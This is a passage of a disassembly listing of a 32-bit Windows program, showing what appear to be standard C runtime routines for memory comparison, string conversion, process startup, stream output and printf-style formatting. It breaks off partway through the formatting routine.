arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41797C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41797D
		test	eax, 1
		jz	short loc_41795D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_4179AA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41797A

loc_41795D:				; CODE XREF: sub_417930+20j
					; sub_417930+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_4179AA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_4179AA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41795D

loc_41797A:				; CODE XREF: sub_417930+2Bj
					; sub_417930+84j
		pop	edi
		pop	esi

locret_41797C:				; CODE XREF: sub_417930+6j
		retn
; ---------------------------------------------------------------------------

loc_41797D:				; CODE XREF: sub_417930+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_4179B2
		repe cmpsd
		jz	short loc_4179B2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_4179A5
		cmp	ch, dh
		jnz	short loc_4179A5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_4179A5
		cmp	ch, dh

loc_4179A5:				; CODE XREF: sub_417930+63j
					; sub_417930+67j ...
		mov	eax, 0

loc_4179AA:				; CODE XREF: sub_417930+26j
					; sub_417930+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4179B2:				; CODE XREF: sub_417930+55j
					; sub_417930+59j
		test	eax, eax
		jz	short loc_41797A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_4179A5
		dec	eax
		jz	short loc_4179D9
		cmp	dh, ch
		jnz	short loc_4179A5
		dec	eax
		jz	short loc_4179D9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_4179A5
		dec	eax

loc_4179D9:				; CODE XREF: sub_417930+8Fj
					; sub_417930+96j
		pop	edi
		pop	esi
		retn
sub_417930	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179DC	proc near		; CODE XREF: sub_413CA9+55p
					; sub_4146BA+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4179F3

loc_4179E9:				; CODE XREF: sub_4179DC+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4179E9

loc_4179F3:				; CODE XREF: sub_4179DC+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_4179DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4179F9	proc near		; CODE XREF: sub_413CA9+19p
					; sub_413CA9+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_417AC6
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_417AF3
		cmp	dword_469528, esi
		jnz	short loc_417A4A
		cmp	edi, esi
		jbe	loc_417AF3

loc_417A29:				; CODE XREF: sub_4179F9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_417AF3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_417A29
		jmp	loc_417AF3
; ---------------------------------------------------------------------------

loc_417A4A:				; CODE XREF: sub_4179F9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_421064
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_469538
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_417AF2
		call	dword_421088	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_417A84

loc_417A75:				; CODE XREF: sub_4179F9+CBj
					; sub_4179F9+F7j
		mov	dword_469494, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_417AF3
; ---------------------------------------------------------------------------

loc_417A84:				; CODE XREF: sub_4179F9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_417A8C:				; CODE XREF: sub_4179F9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417AAE
		mov	edx, off_437D70
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417AA3
		inc	eax

loc_417AA3:				; CODE XREF: sub_4179F9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_417A8C

loc_417AAE:				; CODE XREF: sub_4179F9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_469538
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_417AF3
		jmp	short loc_417A75
; ---------------------------------------------------------------------------

loc_417AC6:				; CODE XREF: sub_4179F9+Fj
		cmp	dword_469528, esi
		jnz	short loc_417AD9
		push	[ebp+arg_4]
		call	sub_415CF0
		pop	ecx
		jmp	short loc_417AF3
; ---------------------------------------------------------------------------

loc_417AD9:				; CODE XREF: sub_4179F9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_469538
		call	dword_421064	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_417A75

loc_417AF2:				; CODE XREF: sub_4179F9+6Bj
		dec	eax

loc_417AF3:				; CODE XREF: sub_4179F9+1Aj
					; sub_4179F9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4179F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AF8	proc near		; CODE XREF: start-1526j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421678
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_42116C	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_4694AC, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4694A8, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4694A4, ecx
		shr	eax, 10h
		mov	dword_4694A0, eax
		xor	esi, esi
		push	esi
		call	sub_418A83
		pop	ecx
		test	eax, eax
		jnz	short loc_417B64
		push	1Ch
		call	sub_417C13
		pop	ecx

loc_417B64:				; CODE XREF: sub_417AF8+62j
		mov	[ebp+var_4], esi
		call	sub_41CC52
		call	dword_421168	; GetCommandLineA
		mov	dword_46AB04, eax
		call	sub_41CB20
		mov	dword_4694E0, eax
		call	sub_41C8D3
		call	sub_41C81A
		call	sub_4177FA
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_421164	; GetStartupInfoA
		call	sub_41C7C2
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_417BB1
		movzx	eax, [ebp+var_2C]
		jmp	short loc_417BB4
; ---------------------------------------------------------------------------

loc_417BB1:				; CODE XREF: sub_417AF8+B1j
		push	0Ah
		pop	eax

loc_417BB4:				; CODE XREF: sub_417AF8+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	dword_4210C8	; GetModuleHandleA
		push	eax
		call	sub_40C682
		mov	[ebp+var_60], eax
		push	eax
		call	sub_417827
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_41C63E
		pop	ecx
		pop	ecx
		retn
sub_417AF8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_417838

; =============== S U B	R O U T	I N E =======================================



sub_417BEE	proc near		; CODE XREF: sub_416852+16p
					; sub_41C81A+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_4694E8, 1
		jnz	short loc_417BFC
		call	sub_41CEE0

loc_417BFC:				; CODE XREF: sub_417BEE+7j
		push	[esp+arg_0]
		call	sub_41CF19
		push	0FFh
		call	off_437D60
		pop	ecx
		pop	ecx
		retn
sub_417BEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C13	proc near		; CODE XREF: sub_417AF8+66p

arg_0		= dword	ptr  4

		cmp	dword_4694E8, 1
		jnz	short loc_417C21
		call	sub_41CEE0

loc_417C21:				; CODE XREF: sub_417C13+7j
		push	[esp+arg_0]
		call	sub_41CF19
		pop	ecx
		push	0FFh
		call	dword_421114	; ExitProcess
		retn
sub_417C13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C37	proc near		; CODE XREF: sub_4154E7+46p
					; sub_415A6A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_417D40
		test	al, 40h
		jnz	loc_417D40
		test	al, 1
		jz	short loc_417C6F
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_417D40
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_417C6F:				; CODE XREF: sub_417C37+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_417CA9
		cmp	esi, offset dword_438488
		jz	short loc_417C97
		cmp	esi, offset dword_4384A8
		jnz	short loc_417CA2

loc_417C97:				; CODE XREF: sub_417C37+56j
		push	ebx
		call	sub_41D0B0
		test	eax, eax
		pop	ecx
		jnz	short loc_417CA9

loc_417CA2:				; CODE XREF: sub_417C37+5Ej
		push	esi
		call	sub_41D06C
		pop	ecx

loc_417CA9:				; CODE XREF: sub_417C37+4Ej
					; sub_417C37+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_417D16
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_417CD9
		push	edi
		push	eax
		push	ebx
		call	sub_41C42A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_417D0C
; ---------------------------------------------------------------------------

loc_417CD9:				; CODE XREF: sub_417C37+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_417CF4
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46A7C0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_417CF9
; ---------------------------------------------------------------------------

loc_417CF4:				; CODE XREF: sub_417C37+A5j
		mov	eax, offset dword_4383D0

loc_417CF9:				; CODE XREF: sub_417C37+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_417D0C
		push	2
		push	0
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch

loc_417D0C:				; CODE XREF: sub_417C37+A0j
					; sub_417C37+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_417D2A
; ---------------------------------------------------------------------------

loc_417D16:				; CODE XREF: sub_417C37+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41C42A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_417D2A:				; CODE XREF: sub_417C37+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_417D36
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_417D45
; ---------------------------------------------------------------------------

loc_417D36:				; CODE XREF: sub_417C37+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_417D48
; ---------------------------------------------------------------------------

loc_417D40:				; CODE XREF: sub_417C37+10j
					; sub_417C37+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_417D45:				; CODE XREF: sub_417C37+FDj
		or	eax, 0FFFFFFFFh

loc_417D48:				; CODE XREF: sub_417C37+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417C37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D4C	proc near		; CODE XREF: sub_4154E7+29p
					; sub_415A6A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_418465
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_417D80
; ---------------------------------------------------------------------------

loc_417D78:				; CODE XREF: sub_417D4C+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_417D80:				; CODE XREF: sub_417D4C+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_418465
		cmp	bl, 20h
		jl	short loc_417DA1
		cmp	bl, 78h
		jg	short loc_417DA1
		movsx	eax, bl
		mov	al, [eax+421664h]
		and	eax, 0Fh
		jmp	short loc_417DA3
; ---------------------------------------------------------------------------

loc_417DA1:				; CODE XREF: sub_417D4C+40j
					; sub_417D4C+45j
		xor	eax, eax

loc_417DA3:				; CODE XREF: sub_417D4C+53j
		movsx	eax, byte_421684[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_418454	; default
		jmp	off_41846D[eax*4] ; switch jump

loc_417DC1:				; DATA XREF: seg000:off_41846Do
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00417DBA case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417DDC:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		movsx	eax, bl		; jumptable 00417DBA case 2
		sub	eax, 20h
		jz	short loc_417E1F
		sub	eax, 3
		jz	short loc_417E16
		sub	eax, 8
		jz	short loc_417E0D
		dec	eax
		dec	eax
		jz	short loc_417E04
		sub	eax, 3
		jnz	loc_418454	; default
		or	[ebp+var_4], 8
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E04:				; CODE XREF: sub_417D4C+A4j
		or	[ebp+var_4], 4
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E0D:				; CODE XREF: sub_417D4C+A0j
		or	[ebp+var_4], 1
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E16:				; CODE XREF: sub_417D4C+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E1F:				; CODE XREF: sub_417D4C+96j
		or	[ebp+var_4], 2
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E28:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		cmp	bl, 2Ah		; jumptable 00417DBA case 3
		jnz	short loc_417E50
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_418454	; default
		or	[ebp+var_4], 4
		neg	eax

loc_417E48:				; CODE XREF: sub_417D4C+111j
		mov	[ebp+var_20], eax
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E50:				; CODE XREF: sub_417D4C+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_417E48
; ---------------------------------------------------------------------------

loc_417E5F:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		mov	[ebp+var_10], edx ; jumptable 00417DBA case 4
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E67:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		cmp	bl, 2Ah		; jumptable 00417DBA case 5
		jnz	short loc_417E8A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_418454	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E8A:				; CODE XREF: sub_417D4C+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E9C:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		cmp	bl, 49h		; jumptable 00417DBA case 6
		jz	short loc_417ECF
		cmp	bl, 68h
		jz	short loc_417EC6
		cmp	bl, 6Ch
		jz	short loc_417EBD
		cmp	bl, 77h
		jnz	loc_418454	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417EBD:				; CODE XREF: sub_417D4C+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417EC6:				; CODE XREF: sub_417D4C+158j
		or	[ebp+var_4], 20h
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417ECF:				; CODE XREF: sub_417D4C+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_417EE8
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_417EE8
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417EE8:				; CODE XREF: sub_417D4C+186j
					; sub_417D4C+18Cj
		mov	[ebp+var_30], edx

loc_417EEB:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		mov	ecx, off_437D70	; jumptable 00417DBA case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417F17
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41848D
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_417F17:				; CODE XREF: sub_417D4C+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41848D
		add	esp, 0Ch
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417F2F:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		movsx	eax, bl		; jumptable 00417DBA case 7
		cmp	eax, 67h
		jg	loc_418157
		cmp	eax, 65h
		jge	loc_417FDA
		cmp	eax, 58h
		jg	loc_418038
		jz	loc_4181CB
		sub	eax, 43h
		jz	loc_417FFB
		dec	eax
		dec	eax
		jz	short loc_417FD0
		dec	eax
		dec	eax
		jz	short loc_417FD0
		sub	eax, 0Ch
		jnz	loc_418356
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_417F79
		or	byte ptr [ebp+var_4+1],	8

loc_417F79:				; CODE XREF: sub_417D4C+227j
					; sub_417D4C+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_417F86
		mov	esi, 7FFFFFFFh

loc_417F86:				; CODE XREF: sub_417D4C+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41819F
		test	ecx, ecx
		jnz	short loc_417FAE
		mov	ecx, off_437D6C
		mov	[ebp+var_8], ecx

loc_417FAE:				; CODE XREF: sub_417D4C+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_417FB7:				; CODE XREF: sub_417D4C+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_418196
		cmp	word ptr [eax],	0
		jz	loc_418196
		inc	eax
		inc	eax
		jmp	short loc_417FB7
; ---------------------------------------------------------------------------

loc_417FD0:				; CODE XREF: sub_417D4C+212j
					; sub_417D4C+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_417FDA:				; CODE XREF: sub_417D4C+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4180BE
		mov	[ebp+var_10], 6
		jmp	loc_4180CC
; ---------------------------------------------------------------------------

loc_417FFB:				; CODE XREF: sub_417D4C+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_418007
		or	byte ptr [ebp+var_4+1],	8

loc_418007:				; CODE XREF: sub_417D4C+2B5j
					; sub_417D4C+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41804E
		call	sub_418548
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41D18F
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_418061
		mov	[ebp+var_28], 1
		jmp	short loc_418061
; ---------------------------------------------------------------------------

loc_418038:				; CODE XREF: sub_417D4C+1FBj
		sub	eax, 5Ah
		jz	short loc_41806F
		sub	eax, 9
		jz	short loc_418007
		dec	eax
		jz	loc_418231
		jmp	loc_418356
; ---------------------------------------------------------------------------

loc_41804E:				; CODE XREF: sub_417D4C+2C5j
		call	sub_41852B
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_418061:				; CODE XREF: sub_417D4C+2E1j
					; sub_417D4C+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_418356
; ---------------------------------------------------------------------------

loc_41806F:				; CODE XREF: sub_417D4C+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	eax, eax
		pop	ecx
		jz	short loc_4180B0
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4180B0
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_4180A1
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_418356
; ---------------------------------------------------------------------------

loc_4180A1:				; CODE XREF: sub_417D4C+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_418353
; ---------------------------------------------------------------------------

loc_4180B0:				; CODE XREF: sub_417D4C+32Fj
					; sub_417D4C+336j
		mov	eax, off_437D68
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41814C
; ---------------------------------------------------------------------------

loc_4180BE:				; CODE XREF: sub_417D4C+29Dj
		jnz	short loc_4180CC
		cmp	bl, 67h
		jnz	short loc_4180CC
		mov	[ebp+var_10], 1

loc_4180CC:				; CODE XREF: sub_417D4C+2AAj
					; sub_417D4C:loc_4180BEj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_4380A8
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41811E
		cmp	[ebp+var_10], 0
		jnz	short loc_41811E
		lea	eax, [ebp+var_248]
		push	eax
		call	off_4380B4
		pop	ecx

loc_41811E:				; CODE XREF: sub_417D4C+3BCj
					; sub_417D4C+3C2j
		cmp	bl, 67h
		jnz	short loc_418135
		test	esi, esi
		jnz	short loc_418135
		lea	eax, [ebp+var_248]
		push	eax
		call	off_4380AC
		pop	ecx

loc_418135:				; CODE XREF: sub_417D4C+3D5j
					; sub_417D4C+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41814B
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41814B:				; CODE XREF: sub_417D4C+3F0j
		push	edi

loc_41814C:				; CODE XREF: sub_417D4C+36Dj
		call	sub_415CF0
		pop	ecx
		jmp	loc_418353
; ---------------------------------------------------------------------------

loc_418157:				; CODE XREF: sub_417D4C+1E9j
		sub	eax, 69h
		jz	loc_418231
		sub	eax, 5
		jz	loc_418207
		dec	eax
		jz	loc_4181F4
		dec	eax
		jz	short loc_4181C4
		sub	eax, 3
		jz	loc_417F79
		dec	eax
		dec	eax
		jz	loc_418235
		sub	eax, 3
		jnz	loc_418356
		mov	[ebp+var_2C], 27h
		jmp	short loc_4181D2
; ---------------------------------------------------------------------------

loc_418196:				; CODE XREF: sub_417D4C+270j
					; sub_417D4C+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_418353
; ---------------------------------------------------------------------------

loc_41819F:				; CODE XREF: sub_417D4C+24Fj
		test	ecx, ecx
		jnz	short loc_4181AC
		mov	ecx, off_437D68
		mov	[ebp+var_8], ecx

loc_4181AC:				; CODE XREF: sub_417D4C+455j
		mov	eax, ecx

loc_4181AE:				; CODE XREF: sub_417D4C+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4181BD
		cmp	byte ptr [eax],	0
		jz	short loc_4181BD
		inc	eax
		jmp	short loc_4181AE
; ---------------------------------------------------------------------------

loc_4181BD:				; CODE XREF: sub_417D4C+467j
					; sub_417D4C+46Cj
		sub	eax, ecx
		jmp	loc_418353
; ---------------------------------------------------------------------------

loc_4181C4:				; CODE XREF: sub_417D4C+425j
		mov	[ebp+var_10], 8

loc_4181CB:				; CODE XREF: sub_417D4C+201j
		mov	[ebp+var_2C], 7

loc_4181D2:				; CODE XREF: sub_417D4C+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41823C
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41823C
; ---------------------------------------------------------------------------

loc_4181F4:				; CODE XREF: sub_417D4C+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41823C
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41823C
; ---------------------------------------------------------------------------

loc_418207:				; CODE XREF: sub_417D4C+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_418220
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_418225
; ---------------------------------------------------------------------------

loc_418220:				; CODE XREF: sub_417D4C+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_418225:				; CODE XREF: sub_417D4C+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_418231:				; CODE XREF: sub_417D4C+2F7j
					; sub_417D4C+40Ej
		or	[ebp+var_4], 40h

loc_418235:				; CODE XREF: sub_417D4C+432j
		mov	[ebp+var_C], 0Ah

loc_41823C:				; CODE XREF: sub_417D4C+491j
					; sub_417D4C+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41824E
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418538
		pop	ecx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------

